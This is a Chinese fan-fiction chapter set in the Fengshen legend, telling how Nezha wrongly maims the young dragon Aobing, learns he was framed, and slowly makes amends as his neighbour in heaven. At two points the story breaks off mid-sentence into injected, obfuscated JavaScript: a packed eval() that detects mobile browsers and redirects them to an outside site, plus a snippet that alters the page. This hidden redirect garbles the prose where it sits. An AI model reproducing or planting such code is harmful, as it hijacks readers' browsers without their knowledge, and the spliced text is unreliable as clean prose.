《[封神]藕花深处又逢君》 1. 第一回 杀神 天界,天庭又在开每日例会。 “启禀天帝!微臣今日巡视人间,发现那南蛮之地有水涝之象!”执掌城隍的小仙在禀报着人间近况,天帝坐于祥云玉座之上,吃着蟠桃,不大专心地听着。 小仙们正七嘴八舌汇报着,忽然,一个火红色的身影飞快窜了进来,“啪”一声把一个血肉模糊的东西随手扔在玉座下那一小块空地,浓烈的血腥味迅速散开,吓得那些从不见血的神仙们纷纷退避三舍。 来人杀气甚重,裹着满身血气,眉毛上挑着对天帝说:“那作恶的狐妖,就在这。” 天帝难得抬眼看人,先是瞥了一眼血染前堂的狐妖尸体,又甚是赞许望向踩着风火轮的来人:“不愧是中坛元帅!这千年大妖,不过一瞬便败于火尖枪下了!”他招招手,让小厮把那火红的狐狸拉了下去。 哪吒翘着手,一身狂气等着天帝发号施令,满脸桀骜。 天帝眯着眼看着他,思索一阵,笑道:“刚刚谁说人间有洪涝之象来着?” 一人上前应诺。 “中坛元帅可愿前去一探究竟,若是有妖邪作恶,任由你处置。”天帝挥挥手,不耐烦地散了会。 哪吒二话不说,也没随众神仙行礼下堂,就踩着风火轮就往人界飞,那城隍小神仙在后面狂追:“元帅!慢点!慢点!小的跟不上啊!” 哪吒撇撇嘴,让混天绫捆着那小神仙火速前行。 天上五天,人间一年,等二人赶到时,大水早发了。 水没了农田,毁了土屋。 哪吒看着百姓在山坡上避水,心里燃起怒火,连那火尖枪也被手攥得发抖,风火轮转得飞快,燃起烈焰,黝黑黝黑的冒着烟。 他自高空往下俯瞰,看见那被黄土染浊的静水里似有什么游动着,定睛一看,是一条小青龙,约摸着五米长。 小龙倒腾得欢,在浅水里打着弯狂游,细细的龙身一打个转,就把静水搅起波浪,拍在建筑物上,本就摇摇欲坠的土屋轰然倒塌。 哪吒看着那游得自在的小龙,怒火中烧,身体先脑子一步做出本能战斗反应—— 双腿猛地一蹬风火轮,徒留空中一道残影,火尖枪直取那小青龙,与那小龙中段擦过,一时龙鳞飞溅,金血飙了出来,在被激起泥沙的浊水里甚是扎眼。那小龙也并非等闲之辈,察觉到身后来势汹汹的杀意,猛地扎进水里游向连通大海的江河。 “敖丙,如若遇着危险,就往东海游,你的族人都在这儿,大家都会保护你。”父亲的叮嘱在脑中回想起来,敖丙卯足了劲儿拼命游,不知自己犯了什么错,竟惹得杀身之祸。 但是浅水怎么会掩盖住小龙的身影,青白的龙身在水面若隐若现,加之龙血止不住,小龙游得再快,也逃不过法宝风火轮的速度,逃不出哪吒燃着怒意的眼眸。 “去!”哪吒左手往前一伸,混天绫便如利箭般飞脱出去,追着那疾速潜游的身影。 黄浊的幕布上,青白与火红的影子一划而过,带着一缕金光尾巴,眨眼间就跑了千百里之远。 混天绫没入水中想将小龙捆住,小龙灵活一钻,从那圈穿过里死里逃生,火尖枪却猛现在眼前——哪吒在短暂的追逐间摸清了他的游水习惯,预判了他往哪躲。混天绫配合着主人,攀上那狡猾至极的妖龙,狠狠绑住,使得小龙如何扭动身躯都动弹不得。 哪吒左手虚空一抓,混天绫就把邦得结结实实的小龙弄了上来,粗暴地扔在一旁的小土坡上。 “妖龙!你擅闯人界,引发洪涝,致使劳苦百姓流离失所,庄稼全毁,可否知罪!”哪吒自风火轮下来,一脚踩着那龙身上,右手覆在火尖枪上,红缨直指妖龙青蓝色的眸子。 小龙明显被吓到了,身子虽被踩着,也止不住微微发抖,他说不出话,只能小心翼翼摇头——废话,那火尖枪离眼睛不过一寸,摇得幅度大点都被戳得瞎掉。 “好啊!不知悔改是吧!”哪吒收了火尖枪,一手薅住龙背上不长不短的鬃毛,“我看你刚刚游得挺欢腾啊!” 一手直接插进龙鳞之下,龙鳞被硬生生翘断,痛得小青龙身子疯狂扑腾,把土坡上的土打得往四处飞溅。 好疼,好没脸,高贵的龙竟像将死的鱼儿般扑腾着身子。敖丙想,这不该是他应该做出的动作,但他也控制不住龙身,太痛了,太痛了。 细细的小青龙本是扑腾挣扎的,又忽然僵直了一瞬,便软绵绵的倒在泥泞的地上,不再动弹了,任由脏泥染上本泛着银光的青鳞—— 灭顶的痛楚自身体深处炸开,自中段延伸至全身,小龙再也压抑不住痛苦,悲怮的龙鸣自吻部溢出,经久不散。似有星辰埋藏的龙瞳泛起水雾,渐渐失去神采,黯淡下去。 “抽了你的筋,我看你以后还怎么作乱人间!”哪吒把龙筋抽出,手心燃起烈焰,将龙筋烧了个精光。又单手捞起龙身,嫌长,绕了个圈,搭在肩上回天庭复命去了。 哪吒又一次全然不顾天帝还再听取晨会,直接把那软绵的龙扔在地上:“那为祸人间的妖龙我已收服,它以后不能再兴风作浪了!” 正在汇报那人猛地一顿,僵硬地转过头,猛向哪吒这边扑来,哑声哭喊着:“儿啊!” 敖丙勉力睁开眼,吃力看了看父王,眼皮子又合上了,落下一滴泪水。 “哪吒!你与敖丙何怨何仇!竟将我儿伤成这样!”龙王气得浑身发抖,手中唤出水刃,直指哪吒。 哪吒气得一哂:“那他与百姓何怨何仇!引发大水倒灌,致使农田被毁,房屋倾塌,还不知死了多少人!我没杀他,是看他还小,放他一条生路!” “生路?”龙王被气笑了,挥起水刃就要和哪吒打起来。 水火互不相容,更何况龙王哪吒都是天庭的好刀,二人打得不分上下,其他小神仙纷纷往两边退开,生怕被波及。 待到二人过了几个回合,差点把玉柱打断,高坐的天帝才慢悠悠开了口拉架:“龙王稍安勿躁,哪吒也是气性冲,心系百姓才一时冲动下了重手,更何况你儿暂且还有一口气,也并非没有挽救的机会。” 火尖枪和水刃互相抵着,谁也不让谁,微微侧着头看向天帝。 “我看着三太子面容姣好,龙鳞也泛着青光,颇有华丽之气,又是喜好珍宝的族类,就封为华盖星君吧。” 天帝大手一挥,手中一串星宿飞出,没入小龙额头。小龙似是恢复了力气,缓缓张开眼睛,失去龙筋的身体凭空浮了起来,星宿围着盘成卷的小龙转动,顷刻后凝聚成人型。 华盖星君眉目俊美,一头水青色的及腰长发如瀑般披在身后,一缕头发扎于后脑勺上,发冠是夜明珠做的,映着淡淡的光。连那华服也是层层叠叠的青色,显得整个人更是孤清冷淡。 天帝看了甚是欣喜,他终于找到个能担起华盖星之名的人了。龙王见儿子保回一命甚是欣喜,收了水刃就想去抱住爱子,但还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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行宫刚入门时是一个小池,池水清澈见底,却没什么生气,过了回廊,就是住殿了。空荡荡的,很大、很高,却只有生活起居的必备用品。 敖丙停在床旁边,一手摸着被褥,长叹了一口气。 他自小聪慧,虽心智还是个幼童,但现在既然已得神格,心智也成熟了些。他知道自己被下了套,如今看似天帝开恩救他一命,还成了神,其实是被天庭软禁,以他做要挟逼迫龙族继续听命于天庭。 那他又能怎么办呢?身体已废,神力也稀薄得可怜,人间没有香火供奉,是个再弱不过的神明,无力与天庭作对。只得明哲保身,万望自己不会再犯错,连累龙族。 “叩!叩!”有人拉了宫殿金质的门环。 “请进!”敖丙不禁疑惑,这是邻居过来串门了吗?他身份敏感,神仙们都精明着,多一事不如少一事,大抵是不会来拜访他这个烫手山芋的。 进来的是两个陪侍模样的人,脸上附着鱼鳞,应是海族子民到天庭寻了个职位来养家。 “鄙人是管事派来服侍华盖星君的,日后大人称呼小的为小鳐就好。” 另一人叫小鲤。 敖丙回礼。 “对了,我刚进来时瞧着旁边还有一个神府,请问是哪位大人的住处?”敖丙还是好奇的问了出来。 “哦,那是中坛元帅的住处。”小鲟答。 2. 第二回 邻居 敖丙正喝着小鲤递过来的冰露琼浆,听到名字后差点呛着。 是的,你没看错,龙喝水差点把自己呛着了。 “不过中坛元帅是个大忙人嘞,那神殿常年不住人,天帝大人常常派他到处缉拿孽障,大人无需多虑。”小鲟又追了一句。 “咳咳......好......那日后有劳二位多多担待。”敖丙在轮椅上向二位行了个礼,小厮惶恐,忙忙摆手不敢当。敖丙头还半低着,神色沉重,谁知道这俩陪侍是真来服侍的还是天庭派来监视他的。 夜幕已降,小厮帮忙收拾床铺,敖丙指使着星宿轮椅出了殿,停在房檐边,看着满天繁星,陷入沉思。 敖丙追悔莫及,就不该贪图大人们外出征战没人管他,一时玩性大发去了淡水区戏耍,要不然也不至于被那哪吒抽了筋,不仅半身瘫痪了,还被软禁在天庭上。 啧,还不如当初在土坡上被哪吒打死呢,龙族可以了无牵挂,他也不必屈居人下。 但是,说什么都迟了。 敖丙就这么在行宫里安顿下来了,让小厮装点一下,别让住处太空了。又寻了几条锦鲤放在房前小池,增添生气。约摸着过了半个月,瞧着隔壁确实没回过家,敖丙才敢在白天坐着轮椅去门口鱼池旁晒太阳。 今天是个大晴天,阳光略微刺眼,敖丙整了个伞盖遮遮阳。晒着晒着就慢慢迷糊了,太阳照到身上,暖烘烘的,他以前也爱游到礁石上沙滩上晒日光浴。 敖丙听力好,这天庭到处是祥云,祥云是水,作为龙族,本就对水更为敏感。 远处似乎有人来了。 敖丙睁开眼,想瞧瞧来者何人。 这处正好能远远瞧见通往两神殿的必经之路,现在那正模糊出现个人影。定睛一看,红色的人形在飘。 “不能是他吧......”敖丙心想着,又眯了眯眼,想着看真切些。 结果。真就是那人。 不堪的记忆又翻涌上来,连带着脊背也隐隐作痛,身体先一步做出了反应:敖丙努力往隔壁廊柱上移动,星宿过于显眼了,只好先行隐去,轮椅没了,他只能一点点把没有知觉的下半身拖着挪动,身子蜷成一团,希望廊柱能把自己挡个严严实实。 少顷,敖丙感受不到祥云的波动,才小心翼翼探出头往外望去。连桥上了无人踪。敖丙终于敢大口呼吸了,召出星宿轮椅,却发现自己要爬上去并非易事。 平时都是陪侍把他抱上去,现在要自己来,着实费了大劲。 等到敖丙把自己弄上去,早已大汗淋漓,回到宫殿后被小厮问怎么了,他说,喂鱼时不小心滑了下来,上去费了些事儿。 敖丙又好一阵不敢出门了,府邸大门紧闭。自门外也听不见什么声响,静的很。不像中坛元帅那儿,冷不丁的就传来密密麻麻拆家的吵声。 另一边,哪吒只回来了一趟,还不等把床榻睡软乎,青铜兽就又当啷当啷响,吐出张宣纸,搁那儿又叫哪吒去某地降妖除魔来了。 “就不能让人消停会儿......”哪吒语气不善,自打被封了中坛元帅,那是基本上没歇过,今天去这收服个杀人山妖,明儿去那儿斩个引起地震的地妖,还有数不尽的香火夹杂着大量求助等着处理。 说不累那肯定是假的,但是一来看见人间太平,他高兴;二来,这能抵他杀劫,不失为好事一桩。 今日要去收服的是黄河里的一只水妖,据查证,那妖致使河流改道,一地被淹,一地从此缺了水,所幸那妖还不成气候,没造成人员伤亡,待到把这妖收服,河流自会修复如初。 但这次哪吒并不着急以武服众,原因无它,他已经连轴转一个月了,神仙也不是铁打的,他也会累。 哪吒隐匿气息,藏于大树之后。 河堤,水蛇妖半身在水下,半身躺在地上,和一旁的海蛟聊着天。 “诶,听说没,龙王三太子被哪吒剥皮抽筋,有够吓人的。”那水蛇吐着信子。 蛟龙躺在岸上晒太阳:“是啊。那天大王回来,可吓人了。后面接连一个月出去征战那叫一个铁腕,恨不得把对方打成糊糊来泄愤。” “那三太子该不会真死了吧?” “哪能啊?真死了龙族早连着其他海族把天庭掀了不可,龙族现在可就那一个王族后代了。” “不对啊。”水蛇斜着头,不解道:“只有一个后代,龙族不得紧巴巴看着他,还能给中坛元帅可乘之机?” “那天咱们都被天庭调去十万八千里外收服渡劫失败的巨蛟了,龙的气性你也知道,小时候就是贪玩。那天没龙看管他,就跑到淡水区玩了,谁能晓得撞上中坛元帅啊!”蛟龙连连摇头,为这孽缘唉声叹气。 那俩小妖还在扯着家长里短,天地趣闻,哪吒却是没心听了。 他向来冲动,他晓得这点,仗着自己强,别人惧他,从来不改;脑子里闪过龙王恰好在做战事汇报的场景,连同着那俩妖的话——什么东西突然间在脑子里连成一串了! 哪吒收了火尖枪和风火轮,走了出来。 “你说那水患不是敖丙所为,那是何人所为?”哪吒突然出现,把俩小妖吓得够呛,转身就要扑通下水逃走。 混天绫挡住了二妖去路。 “回答。” “拜见中坛元帅!”两妖诚惶诚恐把整个身子贴在地上,瑟瑟发抖。 “回......回禀大人,那大水确实不是敖丙所为,他不过个几十载年长小龙,还没有司雨能力啊!”蛟龙答,他跟着龙族混吃混喝多年,怎能不清楚龙族习性。 “那,照你这么说,我错伤敖丙了。”哪吒问。 俩妖抖成筛糠,恨不得把头钻进地里,不敢回答。 哪吒也不为难,又问:“那这次河流改道,又是何人所为啊?” “这...这小的也不知道啊...贱民也是受害者啊!好好地在那边活着,这一改道,我就不得不搬到这来。” 哪吒这次没收了他俩,只让他们好好做妖,惩恶扬善,那俩如蒙大赦,火速钻进水里,一溜烟游没影了。 看来那线报也是不能信了,这次只能够自己查。哪吒一边查,又从各方去了解龙族习性,最后不知怎的遇上同门显圣真君——杨戬。 “对啊,你才发现啊。”杨戬把清酒一饮而尽,“那龙就是个替罪的,天帝就想捏着三太子,好牵制龙族。” 显圣真君猛地靠过来,压低声音:“听我句劝,别替上面的干这么多了,水深得很,你杀业重,别人奉承你劳苦功高,你小心功高盖主!” 哪吒不语,沉思好一会儿才开口:“我听到了。但是,那水患不是敖丙干的,哪能是谁?除了龙族谁还有司雨掌水能力?” “很多事情,就算是神仙,也不能做到尽善尽美啊。总有我们也不能力所能及的地方,这天地还有天道呢,玄乎的事情多了去了。”杨戬拍了拍他后背,聊以做慰。 “我好像犯了弥天大错。” “嗯哼,被利用了。” “杨兄,你知道有啥方法能重铸 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哪吒挑眉,早就预料到这情形了,也不勉强,双手递上个大盆:“既然如此,那就让华盖星君好好养身子。” 他托了托木盆,演都不演了,“刚捞上来的,敖丙应该会喜欢。” “好好好好的!不胜感激元帅好意!时辰也晚了,元帅早些歇息!”小鳐忙接过大盆,赶忙把门关上了。 “是谁来拜访?”敖丙坐在轮椅上,翻阅着天庭书堂借来的古籍,他不喜出门,便拿读书做消遣。 “回大人,是中坛元帅。” 敖丙听了脊背发凉,正翻页的手指一顿,又装作若无其事地翻到下页。“他拿了些水产过来,小的瞅了瞅,好像是您家乡的鱼虾。” 小鳐没得指令,就这么抱着木盆,敖丙盯着书思考片刻,看似一动不动,其实鼻翼微微扇动着。他好歹是条龙,嗅觉总归是灵敏的。似是做了什么决定,转动星宿移过去看仇人送来的水产,居高临下看着。 那鱼虾蟹着实新鲜,天庭的菜谱其实并不合敖丙喜好,自打成神以来就没吃多少,体型迅速消瘦下去。 那螃蟹还在吐着泡泡,敖丙端详一会儿才发话:“你们处置吧,我不吃这些,今晚做点平常菜肴就行。” “啊?那我把它们扔了?” “你们想吃就吃,要扔的话别扔我锦鲤池里。” 小厮还是把一小部分海鲜吃了,倒也不必担心哪吒在这里动手脚下毒什么的,中坛元帅行事光明磊落,若真想杀了敖丙,必定是抄着家伙直取对方命门。 自那天后,华盖星君行宫的大门总是被隔三差五的敲响,小厮赶到开门后早就不见客人踪影,只是会在门槛旁发现被人“遗弃”的食材——或是刚抓上来的生鲜,或是人间的甜品,前者迎合着敖丙生前的吃食习惯,后者往往是天界膳房做不出来的美味。 一天,哪吒又一次抓起青铜环敲门,还没等他敲第二下,门“嚯”的一声从内被猛猛拉开。 哪吒这次还没来得及拔腿离开,猛一抬头,就看见敖丙身着一身淡青色华服,端坐于星宿轮椅之上,头发梳得很顺,服服帖帖地顺着肩膀和胸部曲线垂下来,像一段上好的丝绸。 这还是哪吒第一次听见敖丙以人形讲话,声音很好听,像他人一样,像白玉般温润。敖丙说话时直勾勾看着哪吒,眼里无半分怯意,也不见愠怒。 他说。 “中坛元帅,不知可否赏脸,共饮一杯?” 3. 第三回 我欠你一个人情 哪吒神差鬼使的就跟着敖丙进去了,什么都没带,那混天绫、乾坤圈、火尖枪、风火轮都搁在自家了。 他刚踏进宅邸,厚重的木门便被关上了。 哪吒想,如果敖丙是想报仇,那就随他吧,他生剥敖丙龙筋,有错在先,敖丙如今神力低微,就算动真格也伤不了他,便没动召唤法器的心思。 二人坐于银杏树下,大理石的桌椅,翠绿的茶器,桌面偶尔接住落下的扇形金叶。喝的是上好的茶叶,浅淡一口,茶香萦绕。二人客套了几个来回,哪吒都快因为假笑把脸笑僵了。 “中坛元帅是个聪明人,那我也不虚与委蛇了。”敖丙放下玉杯,与石桌发出清脆的碰撞声,“中坛元帅近日一直往我府上送东西,意欲何为?” 哪吒看着敖丙,思索着如何钩织话语。 二人对视无言,哪吒殷红的唇微张着,细看还带着颤抖,红棕的眸子头一次露出慌张与愧意。那青蓝色的眸子反倒是波澜不惊,夹杂着些许怒意直勾勾看着哪吒。 好一会,哪吒嘴唇一抿,深吸一口气,猛地站起来,快步走到敖丙前,深深鞠了一躬:“那日我并未查清事情原委,就对阁下出手,犯下大错,前些日子才知晓此事。” 哪吒很少向人鞠躬得如此恭敬,连受天帝封为中坛元帅之时也不曾弯腰至此,如今却觉得这还不够,左手一挥衣摆,就此单膝跪下,“却因莲藕之身,无芯,不解情感谓何物,只得向人界学习,听闻有携礼道歉的礼数,遂效仿。” 敖丙看着面前那人,高傲的中坛元帅如今竟单膝跪着求原谅,不免觉得荒唐可笑,这场景若是传出去,全天界都得笑话,也不知道笑的是哪吒还是他。 敖丙坐在轮椅上,居高临下看着不曾抬头的哪吒:“你觉得我会原谅你吗?” 哪吒低着头,不语。 “你觉得我应该原谅你吗?” “不该。” “那就对了。” 一问一答,一坐一跪。偌大的宫殿唯有二神,侍从早被敖丙支走了。 敖丙冷冷看着哪吒,片刻后才开口说道:“起来吧。” 哪吒抬头看向他,眉头皱着,不解。 “我不会原谅你,但是此事也不全是你的错,掺杂着太多人作梗。”敖丙往前移动,身体前倾,抓着哪吒手臂把人扶起来,要不然按照中坛元帅的气性,非得跪到膝盖出血为止。 轮椅再次回到石桌旁,敖丙吹了吹早就凉透的茶水,浅浅抿了一口。 哪吒就这么定定地站在原地,目光透过半透明的星宿轮椅背,恍若能看见敖丙脊背上血淋淋的创口。 “敖丙。”中坛元帅声音听起来像被石头压着一样沉,哑哑的。 华盖星君端着杯子,微微侧头,余光看向身侧那人。 “我欠你一条命。” “受不起,更何况,我没死成。”敖丙放下茶盏,拒绝到。 “那我欠你一个人情。” 人情,世界上最玄乎的东西,你说欠着,也不知怎么还,会不会还,好像重如泰山,又好像轻如鸿毛。 “没完没了了是吧?”敖丙一哂。 “我欠你一个人情。”哪吒只是重复着,语气不容置喙。 说罢,走上前提起茶壶,左手按压着壶盖,先给敖丙茶盏上,又给自己斟满,也不管敖丙压着眉头玩味看他,便径自将茶水一饮而尽。 杯子被他狠狠砸在桌子上,中坛元帅眼神深邃而坚定看着华盖星君,再一次重复: “我,哪吒,中坛元帅,欠你,敖丙,龙族三太子,华盖星君一个人情。” 说完,微微鞠躬示意,离开了华盖星府。 都快走到门口了,哪吒又突然间顿住,回身大喊着:“敖丙!我以后还能给你送吃的不?” 敖丙正目送他离开呢,听到这句话只觉哪吒好笑又可爱。但凡是个正常人,来这碰了一鼻子灰,都晓得要保持距离,哪吒倒好,还想着用美食缓解关系。 到底生前还是个小孩,又是莲藕身,一个小孩心性直来直去,一个莲藕不谙人情世故。 “随你!!”敖丙怕哪吒听不见,大声了些回话,“反正都是侍从吃!” 哪吒挥挥手,走了。 又是一年七夕将近。 华盖星君今年也开始做回这神职本应有的职责——设计华服。虽然没什么人缘,但神格摆在那儿,终归是有神仙找上门来的。今年来了几对名不见经传的小神仙,希望华盖星君能给他们设计婚服。 按理说华盖星君这神职地位高,不应给小神仙干这种活,他的客人都应是名震天下的神仙。但敖丙偏偏就爱接这种活,他说,自己像他们,他又说,设计婚服比设计受封的衣服有意思,承载了更多的情感与因果。 那日敖丙正等着新娘子来审稿,专注着改画稿,没注意到哪吒不请自来,殿内侍从和新娘子纷纷行礼的动作。 众人正要礼节性寒暄,哪吒却比了个噤声的手势,不让众人打扰到专心画图的敖丙。 哪吒站在一旁,细细描摹着敖丙清秀的侧脸。 华盖星君不愧是被天帝盖过章的“面容姣好”:面部线条流畅,微覆着几片淡青色的龙鳞,肤色皎白又微露着血色,天界十年,可算是把当年伤的底子养回来些许了。 但不够,哪吒希望有一天能够给敖丙重塑龙筋,这些年一直在找法子,始终找不到。 片刻后敖丙才拾起画稿,方才正专心着图稿,丝毫没注意到自己被盯了半天,遂抬头便被吓了一跳,惊呼道:“哪吒?!”就连那毛笔也被他吓得掉到了地上。 又觉察出来着称呼不对,立刻改口道:“啊,中坛元帅怎么来了?” “哦,来看看你这厨房有没有什么食材。”哪吒走上前,单膝跪下拾起毛笔,递给敖丙。他知道敖丙现在的身子很难拾起掉落在地上的东西。二人的手不小心碰到了,一触即分。 哪吒是炽热的火,连指尖都是滚烫的;敖丙是司水的海龙,体温本就偏低,被哪吒烫得缩了缩手指,才握好毛笔,装着自若的样子看着哪吒。 “我的陪侍今日告老还乡了,一时间还没来得及找到称心如意的,要饿死了。你住得最近,我想来吃个饭。” ——谁信啊,神仙一两月不吃饭也能活得好好的。 敖丙语气带着戏谑,唤道:“哦~~是嘛,小鲟,麻烦带中坛元帅去膳房。” 然后转头就扎进和新娘子的热烈讨论中了,你一言我一语,偶尔敖丙又在稿上动动笔。哪吒发现敖丙工作的样子很专注认真,便不再打扰,随小鲟去了膳房。 路上,哪吒又想起来敖丙方才被他烫到后蜷缩的手指,眼睛嘀溜嘀溜转、躲闪的模样,觉得甚是可爱,不免笑出了声。 那小龙还要装着镇定冷脸的模样对待他,更可爱了,中坛元帅压不住笑意,笑得肩膀都在抖。 小鲟:? 夜幕已落,新娘子笑着拜别华盖星君,拿着新稿去织染府备婚服去了。 小鳐推着敖丙回府,发现中坛元帅正化着六臂,却不是手执兵器,而是端着大大小小的餐盘放在桌上。 敖丙已不惧怕中坛元帅化出法相的模样了,自行催动轮椅,柔声说:“我还以为元帅是来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491112|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取食材回府,没想到竟是亲自下厨了,我竟让客人如此辛劳,这怎么好意思呢,真是失礼。”拱着手向哪吒道歉。 “嗐,没什么,我没下厨,我只负责烧火,有劳小鲟做了这么多菜。” 小鲟这时把糕点端出来了:“应该的应该的,还得是多亏了中坛元帅的火,今日菜式火候正好!趁着菜还热着,大家速速开饭吧。” 四人坐在圆桌旁,将八个菜吃净了,照理,吃完饭都得遛弯消食。 小鳐起身想推敖丙去晒晒月光,哪吒先行一步打住了,轻声询问:“今日,可由我来推你去散步吗?” 二小厮抬眉惊诧着这元帅直言直语,等着华盖星君定夺。 没人敢动。 敖丙沉默了好一阵,正当哪吒想放弃时他才发话,字少,语气平和,听不出情绪:“也好。” 这还是哪吒第一次推着轮椅,离敖丙仅一臂之隔。 玉盘高挂,星河璀璨,闪烁着星光点点。敖丙话少,哪吒不知道聊什么,一路静默无言。 路过鱼池,哪吒斗胆提了句:“这池子只有鲤鱼,夏天大太阳的,可能对鱼儿不好?” “那中坛元帅可有什么好法子?” “我看人间,会在池子里养些植物,做荫庇。只是……”哪吒想掌自己个嘴,哪壶不提提哪壶,早知道还不如不聊天。 “只是多为莲花荷花,像你,对吧?”敖丙竟把哪吒不敢说的话续了下去。 “抱歉,是我失语了。”哪吒垂下头,语气打了焉儿。 “无妨。”敖丙侧侧头,看向后面那人,垂着头,如漆木的黑发遮住那人半张脸,只能看见紧抿的嘴唇。 满池金鱼还在不知疲倦游动着,搅着水波,偌大的府邸只有这有些许声音,听着都让人感觉孤寂。 敖丙看了片刻鱼池,才说到:“也好,这鲤鱼皆是金色橙色,若有荷叶荷花点缀一二,未尝不可。” “那我明天去人间采点回来给你!”哪吒听着了,忙说到,生怕敖丙反了悔,“待它结了藕,我来摘走,若是你想吃的话,就留给你做桂花蜜糖莲藕?” 叽叽喳喳的,敖丙想。又寻思着哪里不对:“糖藕?” “啊,我上次路过东海,听说你喜爱吃甜食……”哪吒支支吾吾答着。 敖丙觉得好笑,自己轻轻一钓,这小莲藕就像个筛子,什么都抖出来了。 “我已经不再滥杀了!现在都是查清原委才做杀伐!我真的在改了!”哪吒看敖丙没动作,站在身后又看不见他表情,急得上前蹲在轮椅前,乌黑的眸子诚恳望着敖丙,“你信我!我从不说谎的。” “没说不信你。”敖丙冲他笑笑,嘴角浅浅上扬着,“继续推吧,我可以去你的府邸看看吗?” “可以是可以,就是……可能……有点乱。” 哪吒的侍人跟着快两个甲子了,前些天实在干不动了才告老还乡,哪吒赏了好些钱财让人安度晚年,很早之前就不让人干重活了,所以府邸略微杂乱,只有练武台摆放整齐得很,府邸前是一大块沙土地,布着密密麻麻的痕迹,想必这就是中坛元帅练武之地,他在府邸时就在这练功,吵得隔壁敖丙不得安宁。 那天一人坐在一人推着,散了一个时辰的步,等到月亮走了半个天,星河转了向,哪吒才慢慢把敖丙推回去,嘱咐早些歇息,夜里凉。 天界就要入冬了,也不知敖丙的伤会不会在冬天生疼。哪吒在人间时,总看得有黎民百姓寒冬雨日旧伤隐隐作痛,心中不禁担忧起来。 前些年去找师父求了药,那药引罕见,哪吒在三界寻了不知多少年还没找到。 4. 第四回 上药 劫前温馨 后来,哪吒总是借着法子过来吃饭,今日说是烦闷无聊,那日说是七星连珠吃完一同赏月,也不知道莲藕哪来这么多借口,几年来没重样的。 一龙一藕默契地没提当年那事儿,做着邻居,又相安无事,眨眼间距离那天已是过了十年。 有时候天界下雨,敖丙的后背还会隐隐作痛,若是天冷,那更是疼痛难耐。他不愿外人看见着狼狈模样,往往支开侍从,独自伏在床上捱痛。仙界药房开的药对他这伤没用,快十年了,他也疼惯了。 后来,哪吒有一个阴雨连绵的冬天擅闯他寝室,敖丙甚至没来得及呵斥,哪吒就把一罐膏药放在他手旁。 “我找师傅求了药,只是这药材难寻,苦了你几年才做出这一小罐。”哪吒帮忙把盖子旋开,一股药材清香味扑面而来,“师父还在继续炼药,等新的制出来了,我去取来给你。” “来,你把脊背露出来,我替你上上药。”哪吒不由分说就蘸了药膏,等着敖丙动作。 敖丙怕羞,不领情地赶人:“出去!”转过身,又抓起被子把自己裹得严严实实,连脖子也不留在外面。 “你都疼得冒冷汗了!”哪吒左手搭着敖丙一床厚被子,想把人拗过来。 龙倔得很,也不知是怎么扒的床,哪吒的巨力竟不能把敖丙掰动丝毫。 没办法了,小龙怕羞,哪吒又做出了人生中为数不多的放弃决定。 他问,那两侍从何在,让他们来涂药,药上了你会舒服很多。 敖丙说,离开,他自己能上。 能上就有鬼了,两条腿动不了,人又疼得发抖,冷汗沾着发丝贴在额上,谁知道他会不会涂着涂着药没把握住平衡,一下子翻倒了起不来,两侍从不见踪影,于情于理,中坛元帅也不能让个病患独自呆着。 侍从不敢忤逆神君,他中坛元帅还不敢吗? “我不看你,敖丙,我把混天绫唤来,你莫怕。”哪吒不使劲儿了,隔着被褥轻轻拍了拍敖丙。 混天绫受唤而来,头一次不是环在身上,而是把中坛元帅的眼睛层层叠叠蒙上。 “我看不见了,敖丙,你让我给你上药吧。” 中坛元帅右手就这么蘸着药膏,举在半空里。 啥都看不见,只能感受到身子坐着的被褥在动。 敖丙起身,手放在哪吒面前,微薄的神力凝出水刃,离哪吒眼睛一寸不到。 杀神不动。 他知道敖丙不会伤他。 好吧,伤了也无所谓,他本就欠着一条命。 敖丙看着哪吒没动静,才慢慢脱下里衣,一手抓着衣物遮住前面,另一手牵着哪吒手腕,往脊背处引。 该说不愧为火行神君,大寒时节手还是烫得吓人,敖丙气血虚,又是水界生灵,每到冬天手脚都冷得像块冰,小厮给房间烧了火炭取暖也无济于事。 哪吒手腕冷不丁挨上个冰块,脱口而出:“你怎么这么冷?” 敖丙没说话,牵着手把药往创口送。 太乙真人的药总归是好药的,平时一众人求药都求不得,多亏哪吒是他偏爱的弟子,这才不消几年制出药来。 创口早就愈合了。哪吒顺着力道,把药抹在脊椎处,因为看不见偶尔会涂出去,但很快就找回发疼的地方,原因无他——那被他生剥龙筋的伤口虽然愈合了,但却随着年月渐渐凸起,不算严重,但手指一摸便知。 药效发作,顺着皮肤往里发热,哪吒的内力也顺着药引往里送,滚烫的手揉着失去脊柱的背,不知怎的失了力道,重重摁下去。敖丙本就两腿侧在同一边,仅靠左手勉力维持平衡,这下倒好,惊呼一声后直直往左侧倒下去,砸到层层叠叠的被褥里面。 哪吒反倒是被吓到的那个,连连问敖丙可还好,方才是自己失了神,生怕天生怪力又误伤了小龙。 敖丙也懒得起身了,稍稍安慰了炸毛的小莲藕:“无碍,我坐着不好掌握平衡,侧躺的话,你方便吗?” 哪吒没有回答,只继续着上药的动作。 快十年了,太多东西已不必明说,二人心知肚明。 哪吒专心致志上药,敖丙的背被他慢慢搓热了。哪吒能感受到指腹下的肌肉从绷紧到放松下来,从冰凉变得接近人类体温,内力源源不断送进去,只希望自己在时敖丙能受少点苦。揉了小半个时辰的药膏,又按着师父教的按摩手法按了个时辰,直到哪吒感受到皮肤尽数吸收药物了才停下手。 哪吒看人没反应,小声唤了下:“敖丙?” 没有回应,被褥也没有被移动的迹象。 哪吒小心翼翼问:“那我把混天绫摘下来了?” 